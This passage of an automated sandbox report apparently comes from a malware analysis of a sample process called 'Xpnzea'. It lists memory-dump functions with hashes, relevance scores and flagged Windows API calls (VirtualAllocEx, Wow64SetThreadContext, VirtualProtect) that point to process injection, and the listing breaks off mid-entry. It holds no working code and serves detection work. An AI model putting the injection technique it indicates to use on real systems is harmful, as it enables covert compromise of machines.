Instruction Fuzzy Hash: 9031CDB5D01258EFCF10CFAAE981AEEFBF5AB09310F14942AE815B7210D735A945CF94

Function 06180E48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06180EFA

Strings

cxrl, xrefs: 06180E6A

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: AllocVirtual
String ID: cxrl
API String ID: 4275171209-188254238
Opcode ID: fbc2d75463f8d7fd16cb63bfa2ea0ac0dae072b554b812c53ee7868119402df1
Instruction ID: 54448ac0f1326ac3c77b2e8ca8fd982d595d8ad2b4fdddf1fde8efef0569035b
Opcode Fuzzy Hash: fbc2d75463f8d7fd16cb63bfa2ea0ac0dae072b554b812c53ee7868119402df1
Instruction Fuzzy Hash: D731A6B8D00248DFCF10CFAAD980ADEFBB1BB49310F14942AE814B7210D735A906CF58

Function 06180E50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06180EFA

Strings

cxrl, xrefs: 06180E6A

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: AllocVirtual
String ID: cxrl
API String ID: 4275171209-188254238
Opcode ID: 1311e0e37aae08685a7d66ad386f296395a52a3592e4293d36cd862ae5cfa670
Instruction ID: 60be2bf81ba597e08b33541ce538bbd4b87272f032b282acaada72cd0a7e2d9e
Opcode Fuzzy Hash: 1311e0e37aae08685a7d66ad386f296395a52a3592e4293d36cd862ae5cfa670
Instruction Fuzzy Hash: 6E31A8B9D00258DFCF10CFAAD980A9EFBB1BB49310F10942AE814B7310D735A906CF58

Function 061808EA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0618099F

Strings

cxrl, xrefs: 0618090F

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: ContextThreadWow64
String ID: cxrl
API String ID: 983334009-188254238
Opcode ID: 0e5079795fb82d6a20907b4ea80b4542bd8411c64a9235563eae76d0602fae7d
Instruction ID: df70af3308afd818528ec8849e73b0e6e75ddfe0bed34cad9e9df85733a12246
Opcode Fuzzy Hash: 0e5079795fb82d6a20907b4ea80b4542bd8411c64a9235563eae76d0602fae7d
Instruction Fuzzy Hash: BC41CDB5D01258DFDB10DFAAD985AEEFBF1BB48310F14802AE418B7240C778A985CF94

Function 061814A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 98
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06181544

Strings

cxrl, xrefs: 061814BF

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: ProtectVirtual
String ID: cxrl
API String ID: 544645111-188254238
Opcode ID: b724d3542a04972e1760e3d4ef201162e53fc21ba8d42afbcbabb848b4179f19
Instruction ID: f508142f880e09be438bebad02288b5dea0d8fbaed774ef7f3bb8da7eedf4b9b
Opcode Fuzzy Hash: b724d3542a04972e1760e3d4ef201162e53fc21ba8d42afbcbabb848b4179f19
Instruction Fuzzy Hash: 4631C8B5D00258EFCB10CFAAD981AEEFBF1AB09310F14942AE815B7210C739A945CF94

Function 0624D4E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0624D58C

Strings

cxrl, xrefs: 0624D507

Memory Dump Source

Source File: 00000006.00000002.1657382641.0000000006240000.00000040.00000800.00020000.00000000.sdmp, Offset: 06240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6240000_Xpnzea.jbxd

Similarity

API ID: ProtectVirtual
String ID: cxrl
API String ID: 544645111-188254238
Opcode ID: 534268622cf3c8f577e1872955f6e2a9ea3a28af0b793feecf3cc30093543b10
Instruction ID: c9fa4844c057f21481fc1b51fe6d34122fe9d98a4cc7224c5a4be74c393d04e0
Opcode Fuzzy Hash: 534268622cf3c8f577e1872955f6e2a9ea3a28af0b793feecf3cc30093543b10
Instruction Fuzzy Hash: B931A7B4D00248AFDB14DFAAD980A9EFBB1FF49310F14942AE814B7210DB75A945CF94

Function 061808F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0618099F

Strings

cxrl, xrefs: 0618090F

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: ContextThreadWow64
String ID: cxrl
API String ID: 983334009-188254238
Opcode ID: 5aca6616771c19c7b332bc8f276cad520319a4f02c264ea913023047baf3fd15
Instruction ID: a159e75b4262458576d392b3905e08e979ba54c0857c4b18476f382f8fefc805
Opcode Fuzzy Hash: 5aca6616771c19c7b332bc8f276cad520319a4f02c264ea913023047baf3fd15
Instruction Fuzzy Hash: 9C31BAB5D00258DFDB14DFAAD984AEEFBF1BB49310F14802AE418B7240D778A949CF94

Function 0624E6B0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 0624E74F

Strings

cxrl, xrefs: 0624E6CA

Memory Dump Source

Source File: 00000006.00000002.1657382641.0000000006240000.00000040.00000800.00020000.00000000.sdmp, Offset: 06240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6240000_Xpnzea.jbxd

Similarity

API ID: AllocVirtual
String ID: cxrl
API String ID: 4275171209-188254238
Opcode ID: 9580048f36f5b7e5509093c8df996d21a3b101dd330e3d3237f6f2f194d47fdf
Instruction ID: 331e5df5816c5281fb384aff44ab8bec91c047ff29662dd4195a67893368ad1e
Opcode Fuzzy Hash: 9580048f36f5b7e5509093c8df996d21a3b101dd330e3d3237f6f2f194d47fdf
Instruction Fuzzy Hash: DC31B9B8D04248DFDF14CFA9D980A9EFBB1BF49320F14941AE814BB210C735A941CF94

Function 05FF24AC Relevance: 2.5, Strings: 2, Instructions: 45COMMON

Download Yara Rule

Strings

B, xrefs: 05FF29C3
, xrefs: 05FF2997

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID: $B
API String ID: 0-2922798824
Opcode ID: fd6c87f4aa9cf58da753880c73932ce62b789207e46fb440aa84377265466aec
Instruction ID: c8f057f7929f730e221609648697101b7b239534f46a80dfcf978c7aa1c81472
Opcode Fuzzy Hash: fd6c87f4aa9cf58da753880c73932ce62b789207e46fb440aa84377265466aec
Instruction Fuzzy Hash: 6611B274D0521CCFDB21DF64C888BECBAB1BF09315F5820AAC509B6660DB791A85CF14

Function 06000048 Relevance: 1.9, Instructions: 1860COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656414956.0000000006000000.00000040.00000800.00020000.00000000.sdmp, Offset: 06000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6000000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fc77c551f7541b1bbd5df9b672510da95963574fd57fe2bf91731f6bf1ac5ee
Instruction ID: 6c940b0e14608a44456a5ec771d141c03c04b7ee422329112443b600ffee60a8
Opcode Fuzzy Hash: 6fc77c551f7541b1bbd5df9b672510da95963574fd57fe2bf91731f6bf1ac5ee
Instruction Fuzzy Hash: 9FF2CD70949388DFFB168BA4CC55BAE7FB5AF47300F1440ABE541AB2E2C7785845CB62

Function 060290C0 Relevance: 1.6, Strings: 1, Instructions: 353COMMON

Download Yara Rule

Strings

d, xrefs: 06029321

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 7309b92e5748839a4deb46dfe4fbf4cf6a1255523f1ea529a8cc50a702c47623
Instruction ID: 505874d2391294e5a969902482bf5e672178e3acb61d43705d59f5b5d6ae9181
Opcode Fuzzy Hash: 7309b92e5748839a4deb46dfe4fbf4cf6a1255523f1ea529a8cc50a702c47623
Instruction Fuzzy Hash: 8DD17B35600616CFCB54CF69C4849AABBF6FFC8310B158569E85A9B7A1DB30FC45CB90

Function 05FF7CE8 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

RAb, xrefs: 05FF7DC3

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID: RAb
API String ID: 0-2248548345
Opcode ID: 94353438d03d34466049d690f3115da3057518db7992f7e7484d52b6e1ffc9d1
Instruction ID: e8453b0e4517d491228d72b21f7f7aa6a81d2d0a5ec702f9d3bc16f4c4f35b5e
Opcode Fuzzy Hash: 94353438d03d34466049d690f3115da3057518db7992f7e7484d52b6e1ffc9d1
Instruction Fuzzy Hash: 2E51DF75E01208DFDB58DFB9D984AADBBB2FF88300F20802AD416AB264DB359945CF50

Function 05FFB7BB Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

R, xrefs: 05FFB857

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: b254e35e49679faad79b1d792754d528b9655fb00e2d3c788393d20f8b99b3e9
Instruction ID: 73383c9140b8a3f0c9f0de4fb1ee644aa135554dcece5ace5800f75aaa8c3801
Opcode Fuzzy Hash: b254e35e49679faad79b1d792754d528b9655fb00e2d3c788393d20f8b99b3e9
Instruction Fuzzy Hash: 5421C87495122CCFDBA0EF24C854BA9BBB2FF99300F0445D9D409A33A0DB365E948F45

Function 05FFBD73 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

_, xrefs: 05FFDDD0

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: e22b14746ae8d872e00a07133c90d48b6e0a9999d165e0355098588e1ff0b3ff
Instruction ID: 2282230326745f32e06b8c0aa6607119070ec9f9f45a968c1e0c5df9a10be8b1
Opcode Fuzzy Hash: e22b14746ae8d872e00a07133c90d48b6e0a9999d165e0355098588e1ff0b3ff
Instruction Fuzzy Hash: CFF0B770814729CFEB60DF18DC48BAABBB6BF05346F0055E5E10AA2260DB381E84CF01

Function 05FF1999 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

K, xrefs: 05FF19EE

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 6b5c2e6417e0a6f09179d912c69be7759f161b1a14eae1dffe2c28d10585e072
Instruction ID: d1be2a7a1bc1ff00a6fc90eb51ebb27580c8e4cbbece07d327a548592b9daeda
Opcode Fuzzy Hash: 6b5c2e6417e0a6f09179d912c69be7759f161b1a14eae1dffe2c28d10585e072
Instruction Fuzzy Hash: 28F09274A022288FDBA0EF14DD88AADB7B6EF48300F5051D9D80DA3325DB356E90CF50

Function 0602C318 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11f309593ccdc4654c35236a92ee0ffd3d91bfeeaf237d794095d85fc2883fde
Instruction ID: 6a97a094607de2c8e51b68cc665bd6b001f77511614fff7f1b8984641134074f
Opcode Fuzzy Hash: 11f309593ccdc4654c35236a92ee0ffd3d91bfeeaf237d794095d85fc2883fde
Instruction Fuzzy Hash: 0B52F875A002289FDBA4DB69C985BDDBBF2BF88300F5581D9E509A7351DB309E80CF61

Function 060266F0 Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9505fcdc54e20f28adadd0aaa8cfc1847826727b24954223e9d43839acf9dd0
Instruction ID: 538bc916a016eacaec023e3c23ca164a91277d4f43773322b17d978a8837ef35
Opcode Fuzzy Hash: a9505fcdc54e20f28adadd0aaa8cfc1847826727b24954223e9d43839acf9dd0
Instruction Fuzzy Hash: 2422A235A502159FDB44DF68D491AADBBF2FF88310F148069E905EB3A1DB72ED80CB90

Function 06029608 Relevance: .5, Instructions: 482COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39e808f035d15006241e201cfb982cb8446a0fd52f912861b30c44e88a3becd
Instruction ID: d79fc51b22a893eb780d64da892d40475f67c4ba2e3339d189580651542c3760
Opcode Fuzzy Hash: f39e808f035d15006241e201cfb982cb8446a0fd52f912861b30c44e88a3becd
Instruction Fuzzy Hash: CF129034A002159FDB95DFA9C884AAEBBF2FF88300F14852DE406AB351DB71ED45CB90

Function 0602F328 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58d168bab7efdf3269f861479bcf92e1cb9b7f41c28b3969c58200b3d198c04d
Instruction ID: d653ab904b4b0b3bb3bf28ca4a1d3daedb48659ee002812d3a6d9bcca9b2071c
Opcode Fuzzy Hash: 58d168bab7efdf3269f861479bcf92e1cb9b7f41c28b3969c58200b3d198c04d
Instruction Fuzzy Hash: 8D12F034A4022A8FCB94DF64C994B9DBBB2BF89300F5185A8D54AAB355DF70ED85CF40

Function 0602FA10 Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cea8df800387e7029f698cb6a0ed6acdfd91794ee4e6553929d8a32ba2a23b9
Instruction ID: 1aec1da9df8713b465784473ed064837712661f6b50c42f0acbea5548ff1e539
Opcode Fuzzy Hash: 6cea8df800387e7029f698cb6a0ed6acdfd91794ee4e6553929d8a32ba2a23b9
Instruction Fuzzy Hash: E3F15734A40219DFCB45EFA4D89499EBBB2FF89300F508569E805AB365DF30ED85CB91

Function 0602B438 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edfbe844face20b35d4e7ad5373e284385292be407cf14ea6d05c756e0ea977e
Instruction ID: 345c6a4d884ca402e6db78fea81584faa8d5a65705131c7da38009998e304c7d
Opcode Fuzzy Hash: edfbe844face20b35d4e7ad5373e284385292be407cf14ea6d05c756e0ea977e
Instruction Fuzzy Hash: E1F1D934A40219DFDB48DFA4D994AADBBB2FF89305F118158E905AB365DF70EC82CB40

Function 060018C0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656414956.0000000006000000.00000040.00000800.00020000.00000000.sdmp, Offset: 06000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6000000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d29ade05fbcd946e8d4113a8d5025a2f48383b4fff2727c2abd2519a8e5cfd
Instruction ID: 1f2811c020c69ff3283a4dc5983df02c89dfc7c92570c85487e86b899f0479b8
Opcode Fuzzy Hash: e5d29ade05fbcd946e8d4113a8d5025a2f48383b4fff2727c2abd2519a8e5cfd
Instruction Fuzzy Hash: E0F1D134D01208DFEB98DFE5E9846ACBBB2FF89305F20516AE416A7390DB305985CF41

Function 0602C308 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ded77931032da4029c614e42ba6cee5e0c4415c7dad685d475f84883f6f6c2
Instruction ID: 477fa0d0337f8fcb192a1f9f354e6b15ec63d0a14c87fdba4a664bf24eb974ab
Opcode Fuzzy Hash: b5ded77931032da4029c614e42ba6cee5e0c4415c7dad685d475f84883f6f6c2
Instruction Fuzzy Hash: 61C16075A002289FDB98DB69C945BDDBBF6BF88700F148099E509AB351CB70DD81CF61

Function 060225E8 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e5c1471c34b9c4d7848a28b43dac234cf982ad1a54b9551a6047762d7116621
Instruction ID: be394a6ce965a61b3c0ae3e2c3275d4d46c0e436372ba52d9b28ffaf0ff2a13a
Opcode Fuzzy Hash: 1e5c1471c34b9c4d7848a28b43dac234cf982ad1a54b9551a6047762d7116621
Instruction Fuzzy Hash: 0AA1BF39B412159FCB45CFA9D985AADBBF2FF88311F14806AE811EB291CB35DE41CB50

Function 06001598 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656414956.0000000006000000.00000040.00000800.00020000.00000000.sdmp, Offset: 06000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6000000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b42b5a27c04116d9df2026adbd206c53e40cf325bea60fc29c4b0a4cb5626afc
Instruction ID: 2f74c59607a238a1e153693ddb1757d9d9560cc5f7cf6ee764309362b25c91ed
Opcode Fuzzy Hash: b42b5a27c04116d9df2026adbd206c53e40cf325bea60fc29c4b0a4cb5626afc
Instruction Fuzzy Hash: E0A1B134E01209CFEB99DFE5D8456AEBBB2FF89301F10806AD416B7294DB345986CF90

Function 0602B428 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 262970de00fe2ceb0dda8d5f8b7bc8ac42498fe1e859ef813f208ddf179d59cf
Instruction ID: 76b9565a7dd0bb405c991e8d3e62b7922b20850277233e134bfff4d78d9b941f
Opcode Fuzzy Hash: 262970de00fe2ceb0dda8d5f8b7bc8ac42498fe1e859ef813f208ddf179d59cf
Instruction Fuzzy Hash: 8CA1EE34A50229DFCB44DFA4D894A9DBBB2FF89304F558159E805AB361DF70EC86CB50

Function 06027FD0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f8c74c053122044fb87f57157be9dc3e59251f30b35e10c242c078fec4cfeca
Instruction ID: a578e6152d37d051f29a85d4705758ece48d7d0ce0c43d5418037b1d7a9e8425
Opcode Fuzzy Hash: 3f8c74c053122044fb87f57157be9dc3e59251f30b35e10c242c078fec4cfeca
Instruction Fuzzy Hash: AD816E79A40619CFD754DFA8C484A9DBBF5FF88350B1581A9E806DB360DB30EC85CB90

Function 06025140 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553a02006985c72b14fb0ae898ceda06c2c6835041d3ff3e5f25cd7528f7d3c5
Instruction ID: 2dbfbb222f873309c1353a5a64772e7a1ce75c1f746f15f34c3f840f9022c949
Opcode Fuzzy Hash: 553a02006985c72b14fb0ae898ceda06c2c6835041d3ff3e5f25cd7528f7d3c5
Instruction Fuzzy Hash: B051FE74B003109FD79AAF74C85466E7BF6AF89210B54446DE402DB3A0DF35ED86CB91

Function 06022270 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c18997ac85d8b6bddab7fe2d4bff1ba107adff4ab2ac47ad47ddebb73b3029d9
Instruction ID: a6aa3537a16c860b4c6dfd1ff85a9d37c2a80bb5c470fce6bd20e913a2b03857
Opcode Fuzzy Hash: c18997ac85d8b6bddab7fe2d4bff1ba107adff4ab2ac47ad47ddebb73b3029d9
Instruction Fuzzy Hash: 9151F435A006268FC700DFA8D884AAEFBB5FF89320B158595E5259B341C730FD96CBD0

Function 0602D808 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e780c941c9b388c28713ea594fc8e6d4f0b2cf3daf8a82e5f97d691981e614a3
Instruction ID: 507020ddb02bf4aebcbeee6feee955d85c18a0478b638476cbfd0aa0e80e4c7e
Opcode Fuzzy Hash: e780c941c9b388c28713ea594fc8e6d4f0b2cf3daf8a82e5f97d691981e614a3
Instruction Fuzzy Hash: 8E51EF757042259FD7849F39C854B6E3BEAEF896107588069F40ACB3E1CE74ED42CBA0

Function 02B02C60 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 047e9aa2083a9a4170ae69378789a489b9c7945aebfa8a8cddfdd704b49bb816
Instruction ID: cfa8b2396e420cd3a2d20d7ad66fc5c679d9e33769902d22ed9222435cbe40f0
Opcode Fuzzy Hash: 047e9aa2083a9a4170ae69378789a489b9c7945aebfa8a8cddfdd704b49bb816
Instruction Fuzzy Hash: 8D517234A00204CFDB59DF65D88DBE9BBF2FB88311F24C5A6D805AB294DB749D89CB50

Function 060212B0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f7d4a421ed360dd61bb6c5f36fd40a4f38743a6e8d6e862f3c657f7f0e46c9
Instruction ID: 6bd804530ffefce5005c1d9217ad038a96cb03e7ad7de9dc1079215fa51a94ab
Opcode Fuzzy Hash: c0f7d4a421ed360dd61bb6c5f36fd40a4f38743a6e8d6e862f3c657f7f0e46c9
Instruction Fuzzy Hash: 70510C76600100AFCB459FA8D905E697BF6FF8D31471A84D4E2099B272DB36DC61EB50

Function 06027700 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1078b456c0beb2a8098792a45cbf712ef92468ebe27366dfb0cf0da1f808242b
Instruction ID: e00bf2c8348e20a6c12ff0420352557d6b55edc95d133438c683faab0bb9f353
Opcode Fuzzy Hash: 1078b456c0beb2a8098792a45cbf712ef92468ebe27366dfb0cf0da1f808242b
Instruction Fuzzy Hash: 6251BC317006159FEB59AF69D894BAE3BE6EF84300F148469E805CB391CB78DC86CB91

Function 06021CB8 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61c24017c3b151d0c6e352aee07d9c71ff444a30c03868398864fcaf8e7284dd
Instruction ID: 7ed63c8394f4a8c7a65d4f7004bddced50e09645efc8fdf32eaa3e069db39b95
Opcode Fuzzy Hash: 61c24017c3b151d0c6e352aee07d9c71ff444a30c03868398864fcaf8e7284dd
Instruction Fuzzy Hash: 0B5156342047519FD365DF3AD84038B7FF6AFC4310F108A69E1568B2A1DB74E989CBA2

Function 02B02C70 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3a85a077d3c143ee76c23b50fb94a30837d28c487d774a5cc650f0a05496253
Instruction ID: 1c62297a0f1608dc57411c1f0decf865d1c6d8d57d740e7ab6dfdba7f2f8cc62
Opcode Fuzzy Hash: e3a85a077d3c143ee76c23b50fb94a30837d28c487d774a5cc650f0a05496253
Instruction Fuzzy Hash: 63515134A00204CFDB55DB65D88DBE9BBF2FB88311F24C5A6D805AB294DB74AD89CB50

Function 0602F0D9 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cdf0c1a4532b7769b1e985a642d8bfd4d2c39b91763abc8bba9e60eb87d8a6a
